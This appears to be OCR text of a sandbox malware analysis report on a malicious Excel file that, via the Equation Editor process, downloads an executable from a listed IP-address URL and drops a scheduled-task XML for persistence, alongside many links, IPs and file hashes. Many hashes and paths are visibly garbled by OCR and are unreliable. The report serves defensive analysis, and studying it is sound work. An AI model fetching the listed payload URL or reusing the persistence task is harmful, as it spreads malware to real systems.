https://view.joesandbox.com/analysis/412614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412614/html/none?idtype=webid
https://view.joesandbox.com/analysis/412569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412569/html/none?idtype=webid
https://view.joesandbox.com/analysis/407195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407195/html/none?idtype=webid
https://view.joesandbox.com/analysis/405593/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405593/html/none?idtype=webid
https://view.joesandbox.com/analysis/404518/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404518/html/none?idtype=webid
https://view.joesandbox.com/analysis/401616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401616/html/none?idtype=webid
https://view.joesandbox.com/analysis/401553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401553/html/none?idtype=webid
https://view.joesandbox.com/analysis/387370/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387370/html/none?idtype=webid
https://view.joesandbox.com/analysis/386392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386392/html/none?idtype=webid
https://view.joesandbox.com/analysis/384781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384781/html/none?idtype=webid
https://view.joesandbox.com/analysis/383913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383913/html/none?idtype=webid
https://view.joesandbox.com/analysis/382675/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382675/html/none?idtype=webid
https://view.joesandbox.com/analysis/375341/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375341/html/none?idtype=webid
https://view.joesandbox.com/analysis/375145/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375145/html/none?idtype=webid
https://view.joesandbox.com/analysis/374614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374614/html/none?idtype=webid
https://view.joesandbox.com/analysis/368051/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/368051/html/none?idtype=webid
https://view.joesandbox.com/analysis/366973/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366973/html/none?idtype=webid
https://view.joesandbox.com/analysis/366337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366337/html/none?idtype=webid
https://view.joesandbox.com/analysis/366242/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366242/html/none?idtype=webid
https://view.joesandbox.com/analysis/415848/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415848/html/none?idtype=webid
https://view.joesandbox.com/analysis/415752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415752/html/none?idtype=webid
https://view.joesandbox.com/analysis/415075/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415075/html/none?idtype=webid
https://view.joesandbox.com/analysis/414920/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414920/html/none?idtype=webid
https://view.joesandbox.com/analysis/414074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414074/html/none?idtype=webid
https://view.joesandbox.com/analysis/414056/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414056/html/none?idtype=webid
https://view.joesandbox.com/analysis/413067/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413067/html/none?idtype=webid
https://view.joesandbox.com/analysis/413007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413007/html/none?idtype=webid
https://view.joesandbox.com/analysis/412228/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412228/html/none?idtype=webid
https://view.joesandbox.com/analysis/412217/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412217/html/none?idtype=webid
https://view.joesandbox.com/analysis/412196/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412196/html/none?idtype=webid
https://view.joesandbox.com/analysis/411467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411467/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 202.55.133.118
Get hash malicious Browse e 202.55.135.190
Get hash malicious Browse e 202.55.132.154
202.55.135.190

Get hash malicious Browse

Get hash malicious Browse 202.55.135.190

Get hash malicious Browse 202.55.135.190

Get hash malicious Browse 202.55.134.54

Get hash malicious Browse 202.55.132.154

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Reputation:

|IE Cache URL:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

downloaded

723456

7.763310640308659

false
12288:EBzcmhiTIqqxiWT/niO1/pFbHfi17evEf6BFMmMEJWixDw/1LgyHixBFmRq:EBomhikVAWzNpFDfilggmwK1syHi1Wgq
0F88779E9500075DE8B5E916637305164

EE1B3AF259E9F03239441681FO0AADDD28E4ESFB
C98EACB88F8F4243D7303B806CB58E0A89E33270CB4B33457C91938A2B2746238

ADEFEE155A0579DA0DC75E4AFF162635338150A884DDDDF47C732A67D69E2F56471CDDD64A7CFFB743DEFC040185CE146B713C6511B3DAC709D4956E2D30E
31

true
e Antivirus: ReversingLabs, Detection: 50%

low

http://202.55.132.154/384500000_1/vbc.exe

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\23212CB0.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced

dropped

68702

7.960564589117156

false
1536:Hu2p9Cy+445s212HNOFIr0Z7gK8mhVgSKe/6mLsw:02p9w1HCIOTKEhQw
9B8C6AB5CD2CC1A2622CC4BB10D745C0
E3C68E3F16AE0A3544720238440EDCE12DFC900E
AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFDI5506FEO
407F29E5F0C2F993051E4BOC81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC71

false

moderate, very likely benign file

tEXtTitle....".. IDATX...y|T.2.1.3. .$.D..(v...Q.q.... W.[...Z..- *HImm...4V..BU..V@h....}..cr.3....
.e..n@7B.{Q.S.HDDDDDDDD........... \bxHDDDDDDDDD. 1<$"" ..d2Y@9 @c.v..8P...0"..
}+M.K. M. A7.Z[[E...B..nF.5. """ (. d.3* E=.[0..0..N._{.-.M3..px

w[.g.9R.[..v.b5r[A. a..286...S.0h7......Q.V.+.~.0B.H.|.8..
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https://view.joesandbox.com/analysis/411439/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411439/html/none?idtype=webid
https://view.joesandbox.com/analysis/411201/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411201/html/none?idtype=webid
https://view.joesandbox.com/analysis/410362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410362/html/none?idtype=webid
https://view.joesandbox.com/analysis/409341/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409341/html/none?idtype=webid
https://view.joesandbox.com/analysis/407758/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407758/html/none?idtype=webid
https://view.joesandbox.com/analysis/407755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407755/html/none?idtype=webid
https://view.joesandbox.com/analysis/407167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407167/html/none?idtype=webid
https://view.joesandbox.com/analysis/407137/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407137/html/none?idtype=webid

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\2B038AAB.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: PNG image data, 600 x 306, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 42465

Entropy (8bit):  7.979580180885764

Encrypted: false

SSDEEP: 768:MUC94KctLo6+FkVfaapdydSo7CT3afPFUaV8vITIzsrZsQ54kvd8gjDsss2Ur6:MJIctLo63a8dydV+3WOa+90sZsSyMs+

MDS5: C31D090D0B6B5BCA539DOE9IDBOC57026

SHA1L: DOOCEE7AEE3C98505CDF6A17AFOCE28F2C829886

SHA-256: 687AFECEE6E6E286714FD267EO0F6AC74BCA9ACE469F4983C3EF7168C65182C8D

SHA-512: B23CA96097C2F5ED8CC251C0D6A34F643EE2251FDF3DEF6A962A168D82385CFEE2328D39FF86AADEASEDBBF4D35882E6CDICF8ECE43A82BD8F06383876B24
56

Malicious: false

Reputation: moderate, very likely benign file

Preview:

home I gjG.9\LC....
.Y.5.41..WhiM..]Cv.Q......e.
)...s.(..ey....{)e.*\-.yG2Ne.B...\@q....8.... W./i
)..].a]...;B0...B.0&@*.+..2..4....-X.>)..h~.J..".nO=VV.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\37582CD5.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 338 x 143, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 6364

Entropy (8bit):  7.935202367366306

Encrypted: false

SSDEEP: 192:joXTTTt+cmcZjbF/z2sA9edfxFHTeDELXEXDR:joXTTTEC5ZjR/zI9EfiTeDEGXDR

MD5: A7E2241249BDCCOCE1FAAF9F4D5C32AF

SHA1L: 3125EA93A379A846B0D414B42975AADB72290EB4

SHA-256: EC022F14C178543347B5F2A31A0BFB8393C6F73C44F0C8B8D19042837D370794

SHA-512: A5A49B2379DF51DF5164315029A74EE41A2D06377AA77D24A24D6ADAFD3721D1B24E5BCCACT72277BF273950905FD27322DBB42FEDA401CA41DD522D0AA3041
C

Malicious: false

Preview:
.PNG .S....sRGB......... gAMA.....a....pHYs.......... o.d...ItEXtCreation Time.2018:08:27 10:23:35Z......DIDATX"....M......3¢0f0.2.90....... -rLnVEy.

MEJAS$G.T.ALIN....0..B..g=...{.5.1...].0.2..Y._..3K Yoo, @JD..).KQ........£DD.1....@JD..)..K..DD.1....@JD...)..K..DD.1....@JD...)..K..DD.... 9.5dKV.\.R[.. k..E

.3...ee. L. WI..E&6.\]..'K...x.0..%.EE.."..}..[c....7n..R..V.USLRt..-xw*....#..._. .eKN....9..{%.....*7..6Y.."....P..."ybQ.....0J 2..%..a.$<m.n"..[.fO~..r.
..=u?ee9.11:={t)..). kL F@PIF..9.. K> {..}..h9.b. h. . w.. A~ LU
tP.e.-+* b\ Yrss4 i fLA7L .uM...v.uY_V|].-Oo........... _s@c.... .| R7>M S, {..W.iV..UR..SJ.hy.W3...2Q@f............

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4AAC3DEF.emf

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 498420

Entropy (8bit):  0.6413939525004806

Encrypted: false

SSDEEP: 384:0IXXwWBKNWZ3cJuUvmWnTG+W4DH8ddxzsFfW3:0IXwBKkNWZ3cjvmWa+VDO

MD5: 883A0909725C3877917457D6650A7419

SHA1L: 655EB1BCBC14145E8D6C49CF674EC6AB1EF99BB1

SHA-256: 5BODBAEB314EEF7EC3EC75553423735EEBA87A894A21220E46FB4494BAEFOE22

SHA-512: 8938B351F688BOAEF72C0771B150711E5BFBE31B9D69DOECEDS56F14A53090F150368033C7FF356045ADA807BC427B1335EB471693B6B063A19E1FEBES4C688AC

Malicious: false

Preview:
[T IR 2 m>..C... EMF........ Sl \K..hC..F...,... .EMF+.@.................. XX FLALPLEMF+'@........... @.......... $@.......... 0@............. ?
@ L/ T Qe R..p... ..@."Calib.ri Y$..@.0.f.Y.@"

X%, 7

..F.EMF+@.$....

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0\522424D2.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 10202

Entropy (8bit): 7.870143202588524
Encrypted: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0\522424D2.png

SSDEEP: 192:hxKBF046X6nPHvGePo6ylZ+c5xIYYY5spgpb75DBcld7jcnM5b:b740lylZ+c5xIYF5Sgd7tBednd

MDS5: 66EF10508ED9AE9871D59F267FBE1SAA

SHA1L: E40FDBO09F7FDAG9BDI5249A76D06371A851F44A6

SHA-256: 461BABBDFFDCC6FACD3E3C2C97B50DDAC4800B90DDBA35F1EO0E16C149A006FD

SHA-512: 678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B3I
Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\5DAD64F1.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced
Category: dropped

Size (bytes): 14828

Entropy (8bit):  7.9434227607871355

Encrypted: false
SSDEEP: 384:z12YVviv3ZOxvHe5EmIbliA2r1BMWWTXRRO/QX: Td3Z46xiXzW/kO
MDS5: 58DD6AF7C438B638A88D107CC87009C7
SHAL: F25E7F2F240DC924A7B48538164A5B3A54E91AC6
SHA-256: 9269180C35F7D393AB5B87FB7533C2AAA2F90315E22E72405E67A0CAC4BA453A
SHA-512: C1A3543F221FE7C2B52C84F6A12607AF6DAEF60CCB1476D6D3E957A196E577220801194CABC18D6A9A8269004B732F60E1B227C789A9E95057F282A54DBFC80
Malicious: false
Preview:
PNG........ IHDR....cocvvun L.L.. .IDATX..gp\.y>~V..WTb... ... I.M.H...d.J..3.8.(L&.IM.d.0..$..9.D.I.....k,J.b3%QD!.Bt,......... p ...... x?"...4 90..W.q.Y.gM.g:.S"dm.V..M...iX..
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\77C35F24.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 11303

Entropy (8bit): 7.909402464702408

Encrypted: false

SSDEEP: 192:064BSHRaEbPRI3ILFObLLbEXavJkkTX5QpBAenGIC1bOgjBS6UUIBswpJuaUSt:ODy31IAj0bL/EKvIKVFgFg6UUIOMJIIN

MDS5: 9513E5EF8DDC8BOD9C23C4DFD4AAEECA2

SHA1L: E7FC283A9529AA61F612EC568F836295F943C8EC

SHA-256: 88A52F8A0BDES931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC

SHA-512: 81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134t
D

Malicious: false

Preview:
PNG........ IHDR............. P.l...sRGB......... gAMA......a....pHYs...t..t.f.X. +.IDATX...|.€..covnunn {.....2.Y8..DI*E.4*6.@.$$....+.T.H/.M6..RH.I.LR.IAC...>3;3;..4..~..>3.<.<..7.
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\7ACF70CD.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 10202

Entropy (8bit):  7.870143202588524

Encrypted: false

SSDEEP: 192:hxKBF046X6nPHvGePo6ylZ+c5xIYYY5spgpb75DBcld7jcnM5b:b740lylZ+c5xIYF5Sgd7tBednd
MD5: 66EF10508ED9AE9871D59F267FBE1SAA

SHAL: E40FDBO9F7FDA69BD95249A76D06371A851F44A6

SHA-256: 461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1E00E16C149A006FD
SHA-512: 678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEBS5C3648B3(
Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7ACF70CD.png

Preview:
PNG........ IHDR....cccovene |....sRGB......... gAMA.....a....pHYs.......... 0.d..'0IDATx".k...u.D.R.b\J"Y.*.".d.|pg..2.r,.U.#.)F.K.n.)JI)." . T H L\<LLKL.DQ (R >.s . .t.w.
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\AC7AC69.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced
Category: dropped

Size (bytes): 19408

Entropy (8bit):  7.931403681362504

Encrypted: false

SSDEEP: 384:6L.3VdodyxL8FNgQ9jYtUO5Zn4tllQ1Yes7D6PhbXngFfZdQTEfN4n6EVPBo6a:2exL8rgQ2tVF4AGIQUUZXNYfTS6EJIL

MD5: 63ED10C9DF764CF12C64E6A9A2353D7D

SHA1L: 608BE0D9462016EA4F05509704CE85F3DDC50E63

SHA-256: 4DAC3676FAA787C28DFA72B80FE542BF7BEB6AAD31243F63E78386BC5F0746B3

SHA-512: 9C633C57445D67504E5C6FE4EAOCD84FFCFECFF19698590CA1C4467944CD69B7E7040551A0328F33175A1C698763A47757FD625DA7EF01A98CF6C585D439B4A

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\B38F263E.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced
Category: dropped
Size (bytes): 19408
Entropy (8bit):  7.931403681362504
Encrypted: false
SSDEEP: 384:6L3Vdo4yxL8FNgQ9jYtUO5Zn4tllQ1Yes7D6PhbXngFfZdQTEfn4n6EVPBo6a:2exL8rgQ2tVF4GIQUUZXnYfTS6EJIL
MD5: 63ED10C9DF764CF12C64E6A9A2353D7D
SHA1L: 608BE0D9462016EA4F05509704CE85F3DDC50E63
SHA-256: 4DAC3676FAA787C28DFA72B80FES42BF7BESB6AAD31243F63E78386BC5F0746B3
SHA-512: 9C633C57445D67504E5C6FE4EAOCD84FFCFECFF19698590CA1C4467944CD69B7E7040551A0328F33175A1C698763A47757FD625DA7TEF01A98CF6C585D439B4A
Malicious: false
Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B76C8963.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced
Category: dropped
Size (bytes): 68702
Entropy (8bit):  7.960564589117156
Encrypted: false
SSDEEP: 1536:Hu2p9Cy+445sz12HNOFIr0Z7gK8mhVgSKe/6mLsw:02p9wlHCIOTKEhQw
MD5: 9B8C6AB5CD2CC1A2622CC4BB10D745C0
SHAL: E3C68E3F16AE0A3544720238440EDCE12DFC900E
SHA-256: AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFDI5506FED
SHA-512: 407F29E5F0C2F993051E4BOC81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC71
Malicious: false
Preview:
PNG........ IHDR........cceveeepHY S +.....tIME......&...T...tEXtAuthor....H....tEXtDescription.../#... tEXtCopyright....:.... tEXtCreation time.5....... tEXtSoftware.]p.:....t
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\E38FA527.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type: PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\E38FA527.png

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

dropped

11303

7.909402464702408

false

192:064BSHRaEbPRI3iLtFObLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUIjBswpJuaUSt:ODy31IAjObL/EKVIKVFgFg6UUjOmJIN
9513E5EF8DDC8BODIC23C4DFD4AEECA2

E7FC283A9529AA61F612EC568F836295F943C8EC

88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC
81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134¢
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\E77F686A.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 600 x 306, 8-bit colormap, non-interlaced

dropped

42465

7.979580180885764

false
768:MUC94KctLo6+FkVfaapdydSo7CT3afPFUaV8vITIzsrZsQ54kvd8gjDsss2Ur6:MJctLo63a8dydV+3WOa+90sZsSyMs+
C31D090D0B6B5BCA539DOE9IDBOC57026

DOOCEE7AEE3C98505CDF6A17AFOCE28F2C829886
687AFECEE6E6E286714FD267EO0F6AC74BCA9ACE469F4983C3EF7168C65182C8D

B23CA96097C2F5ED8CC251C0D6A34F643EE2251FDF3DEF6A962A168D82385CFEE2328D39FF86AADEASEDBBF4D35882E6CDICF8ECE43A82BD8F06383876B24
56

false

. X.0.%K....X....brG..sW:~g.Tu...U.R..W.V.U#TAr?..2}.C3.K...P..n. A.av?C..J.}.e.]..CA._y
.C.P*.0.e. 7/ k.t.]"[.F..y...0.3.0).Z.1RbU]BY..RNR...D*... =(tL.W.y...n\.s..D.5.....c....8A.
t..q.5....fh...DPyJ*. . E....K.....E%i.C.V.\...z r7.V..q."...3.E3J8Ct.Z..GL).Rlb

.nO=VV.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\EAE7ECFC.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

PNG image data, 338 x 143, 8-bit/color RGBA, non-interlaced

dropped

6364

7.935202367366306

false
192:joXTTTt+cmcZjbF/z2sA9edfxFHTeDELXEXDR:joXTTTEC5ZjR/zI9EfiTeDEGXDR
A7TE2241249BDCCOCE1FAAF9F4D5C32AF
3125EA93A379A846B0D414B42975AADB72290EB4
EC022F14C178543347B5F2A31A0BFB8393C6F73C44F0C8B8D19042837D370794

A5A49B2379DF51DF5164315029A74EE41A2D06377AA77D24A24D6ADAFD3721D1B24E5BCCACT72277BF273950905FD27322DBB42FEDA401CA41DD522D0AA3041
C

false
PNG........ IHDR...R........... S....sRGB......... gAMA......a....pHYs......... o.d...tEXtCreation Time.2018:08:27 10:23:35Z......DIDATX"....M......3c0f0.2.90....... S PRAYAR YA
MEJA$G.T.ALIN....0. .B..g=...{.5.1..].9.2.Y.._..3K. Yoo @4JD...)..KQ........£DD.1....@JD...)..K..DD.1....@JD...)..K..DD.1....@JD...)..K..DD.....9.sdKV.\.R[.. k...E

3...ee.l.WI..E&6.\]..'K..x.0..%.EE.."..}..[c....2n..R..V..USLRt.-XW*.... #..._...l..kI"
..QU.r .gZ..&{...$.. .Lu..]Z~ ] k|.z.3....H.../.. k7.1>y.D..._x

L X7.6Y L JJ'z..%..a.$<m.n"..[fO~.r......
={{]....).k..F@PIf....9..K>..{..}..h9.b. .h...w...A~.. .u.].
L R7T>ALFS (L WIVLURL.SJ.hy. W3...2Q@f......,.....

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FO9EB6C08.png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

dropped

14828

7.9434227607871355

false
384:z12YVviv3ZOxvHe5EmIbliA2r1BMWWTXRRO/QX:Td3Z46xiXzW/kO
58DD6AF7C438B638A88D107CC87009C7
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\FO9EB6C08.png

SHA1L: F25E7F2F240DC924A7B48538164A5B3A54E91AC6
SHA-256: 9269180C35F7D393AB5B87FB7533C2AAA2F90315E22E72405E67A0CACABA453A
SHA-512: C1A3543F221FE7C2B52C84F6A12607AF6DAEF60CCB1476D6D3E957A196E577220801194CABC18D6A9IA8269004B732F60E1B227C789A9E95057F282A54DBFC80
Malicious: false
Preview:
PNG........ IHDR....c.covun L.1... .IDATX..gp\.y>~Vv..WTh... ... L.M.H...d.J..3.8.(.L&IM.d.0..$..9.D.I.....k,J.b3%QD!.Bt,.........p.+....x?"....{.90..W.q.Y.gM.g=.5"dm.V..M...iX..

6...9=.R(.N'"0&I(..B2.\...| t.....R.T.....J..Q.U...F..B\..B.Z-...D")... J....u.1 4. AP..l
NASN..€2..........b.7.8@.tgg.}..Ue7..e.G . .J.d2)..BIM..r. T*Q.%. X......{.....q.\,.E".
2.6...b\.1%..~...).B<.T*z..D".(..\...d2YKKK...mm.T*.. T*..I$.x<..J..q..*.J .X..0>...C.d2.JI

3.UL..RL.9.....~.r.N....0e,..l..(..CCC...v....al6KQ...000...d.fxx...k""...5.
L*abbB*. j\J.(b......[>. R L& X €YV - R)B. T*M&..pX* |.Z..9..F.
Lo xkk.B.(....D .8..t:..0>....vC%MNNj.ZHZ....".T....,...A.....I$.q.\.....eY..8.+..

.. °dd.b.X,.BH.T..4-. X.EV.|&.p....... 0.P(.J.\>66.a.X,..><<...V.R.T*...d2,v....W.511.u.a....".."...zkk.m.t:]__...ggg.o....... LYezeas L % H fonwrLLLLLUNDLP(D" .. H.
.|>/.Hd2...EQ.

CiUserswserAppDatalLocallTempumpCozAtmp O

Process: C:\Users\Public\vbc.exe

File Type: XML 1.0 document, ASCII text

Category: dropped

Size (bytes): 1578

Entropy (8bit): 5.108460768399864

Encrypted: false

SSDEEP: 24:2di4+S2ghZ1tylmCUnrKMhEMOFGpwOzNgU30DOIilQRvh7hwrgXuNtwxvn:cgeZQYrFdOFzOzN330DOIiDdKrsuTAv

MDS5: 5A018129C464113B52BC5573A3B1B93C

SHAL: 6F17FA4E34555C3A38D4BCEDIFFFFE97C14FF7B0

SHA-256: 3DD3408806D339789B8AB7878072025238D4DAD182810DDEBC19CA68569B57E8

SHA-512: B12739C10849BDEE9387E06B943592C2CF6E0A41C88EE1134FD6A3CAA3547CDACEOC7CDB36C3C1A7328BF4418FDB850B0262A09EDA20474DC3264A69998BE/
6C

Malicious: true

Preview:

<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmIns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <Registrationinfo>. <Date>2014-10-
25T14:27:44.8929027</Date>.  <Author>user-PCluser</Author>. </Registrationinfo>. <Triggers>. <LogonTrigger>.  <Enabled>true</Enabled>.  <Userld>user-
PCluser</Userld>. </LogonTrigger>. <RegistrationTrigger>.  <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal
id="Author">.  <Userld>user-PCluser</Userld>.  <LogonType>InteractiveToken</LogonType>.  <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </P
rincipals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultiplelnstancesPolicy>. <DisallowStartlfOnBatteries>false</DisallowStartlfOnBatteries>. <Stoplf
GoingOnBatteries>true</StoplfGoingOnBatteries>.  <AllowHardTerminate>false</AllowHardTerminate>. ~<StartWhenAvailable>true</StartWhenAvailable>.
<RunOnlylfNetworkAvail

C:\Users\user\AppData\Local\Temp\~DF0437710B50B493BA.TMP

Process: C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3

MD5: BF619EACOCDF3F68D496EA9344137E8B

SHA1L: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AES

SHA-256: 076A27C79E5ACE2A3D47FIDD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6FOEFS5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BEIDAFB5D1B5F2D0C6ED34!
FE

Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\~DF8260883CA3EB749E.TMP

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: CDFV2 Encrypted

Category: dropped

Size (bytes): 234600

Entropy (8bit):  7.971193076260305

Encrypted: false

SSDEEP: 6144:HkrpOY+thX0lopOjRpwyDczCg7DZ1PBxdTiRLbqO7:HkrpOJhDo0j7wywzj7DD5/TabT
MD5: FA9E322B837835AC60CAD8C173ECFF31

SHAL: C7CDDFBF865B528D1BBBBE5C5F3974279CC8B6F5

SHA-256: FF4E17D62CE9C71164879418E7942CECF8DB37B16CB66ADEBC6C2570840F8524
SHA-512: C5CE7FEB4A44D0A3C0OBA17C1104D599409C66C1A36E68F382DF9048E18F02349C16CF4DE21437F988E4779CES56847B9574DD83562DD1239BC88358922E2826B¢
Malicious: false
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C:\Users\user\AppData\Local\Temp\~DF8260883CA3EB749E.TMP

Preview:

#.8..%..&..".( .
130K LMoNL.O..P..Q..R..S.T..U. V. W.. X...Y..Z..[.\. ] A asb.c.d.e. f..g.

